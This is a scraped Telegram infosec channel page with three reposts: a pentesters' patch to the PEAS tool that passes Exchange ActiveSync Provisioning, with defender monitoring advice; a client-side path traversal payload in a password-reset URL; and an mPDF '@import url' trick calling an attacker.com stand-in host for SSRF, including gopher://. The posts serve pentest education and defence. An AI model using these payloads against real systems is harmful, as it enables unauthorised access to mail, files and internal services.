Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
Fsecurity | HH
Открыть в Telegram
Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb
Больше2 016
Подписчики
-224 часа
-67 дней
-2230 день
Архив постов
2 016
Repost from purple shift
Недавно наши пентестеры разбирались с утилитой PEAS для работы с Exchange ActiveSync (EAS) — и наткнулись на интересную проблему. При попытке получить листинг файловых шар через Document Library Access утилита падала с ошибкой 141 (LegacyDeviceOnStrictPolicy). При этом проверка учётных данных через
--check работала нормально.
Оказалось, что раньше PEAS работал без ошибки, потому что серверы не требовали обязательного прохождения процедуры Provisioning. А когда администраторы начали включать строгие политики безопасности на Exchange, серверы стали требовать прохождения этой процедуры.
Provisioning в EAS — это механизм согласования политик безопасности между устройством и сервером через стандартный двухшаговый обмен, где клиент принимает политики безопасности сервера, а сервер в ответ разрешает дальнейшие операции. По итогу сервер выдает PolicyKey — токен доверия для конкретного аккаунта/устройства/сервера. Этот токен меняется при первом подключении нового устройства или когда админы обновляют политики; токен также может меняться от бездействия (длительного отсутствия входа в почту).
То есть без валидного PolicyKey сервер просто отклоняет запросы к данным. Интересный момент: сервер не может реально проверить, применило ли устройство политики — он полностью доверяет клиенту. Достаточно просто пройти протокольный обмен и сказать "да, я всё применил".
Раньше, когда серверы не требовали прохождения Provisioning, утилита PEAS просто отправляла PolicyKey=0. Но теперь это может не работать, поскольку сервер теперь может потребовать валидный токен.
Для решения этой проблемы наши эксперты пропатчили PEAS, добавив автоматический Provisioning перед UNC-операциями. Теперь утилита сначала выполняет двухфазный обмен с сервером, получает валидный PolicyKey и только потом делает запросы к файловым шарам. Дополнительно добавили флаг --policy-key для переиспользования ключа при массовых операциях, это убирает лишние запросы и уменьшает шум в логах.
Если хочется поглубже понять механизм EAS и исторический контекст утилит, можно посмотреть подробную статью от создателей PEAS, опубликованную ещё в 2016-м. Похоже, что тема всплывает раз в пять лет, и мы как раз подвезли актуализацию.
Что делать защитникам:
Необходимо следить за Microsoft Exchange как за критичным узлом, который зачастую становится "открытой дверью" к почте, файлам и внутренним ресурсам. Поэтому:
— По возможности вырубайте легаси-функциональность (EAS Document Library/UNC и прочие пережитки), сокращайте исключения и совместимость со всем подряд.
— Если отключить нельзя, используйте поведенческий контроль клиентов EAS: проверяйте, что перед доступом к данным всегда есть нормальный двухфазный Provisioning, следите за всплесками Status=141/142 и HTTP 449, смотрите динамику PolicyKey (внезапные смены/реюз между устройствами — знак тревоги).
— Параллельно ужесточайте базовую гигиену: регулярно пересматривайте политики, чистите старые профили и временные исключения, валидируйте сторонние клиенты до продакшена.
— Ограничивайте срок жизни кэшированных PolicyKey и фиксируйте их привязку к аккаунту/серверу/устройству. Тащите всё это в SIEM с привязкой "аккаунт >> устройство >> PolicyKey >> операции". Потому что в Exchange может быть всякое: смешанные политики, странные клиенты, исторические хвосты конфигураций — и это регулярно выстреливает.
Главная мысль: EAS по дизайну доверяет заявлению клиента о принятии политик. Это нормально для протокола, но с точки зрения защиты нельзя опираться только на EAS. Добавляйте поведенческий мониторинг, внешнюю проверку комплаенса (MDM/Intune) и минимизируйте поверхность атаки за счёт отключения ненужного наследия.2 016
Repost from 🕷 BugBountyRu
🕷 ServerClient-side path traversal: баги, основанные на маршрутизации на стороне клиента
Класс багов, связанный с обходом пути на клиенте, становится всё более актуальным.
Классический path traversal (
../../../file) работает на сервере. Здесь идея та же, но на стороне клиента.
👉 Пользовательский ввод влияет на путь → меняется, куда приложение делает запрос или редирект.
💡 В чём суть
Если приложение использует пользовательский ввод для формирования пути — появляется точка атаки.
Пример — сброс пароля:
https://target.com/reset/token?user=victim&Token=810128475189Если значение
Token участвует в формировании пути или редиректа, его можно изменить:
https://target.com/reset/token?user=victim&Token=810128475189%2F..%2F..%2Fuserhttps://target.com/user2 016
Repost from SHADOW:Group
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf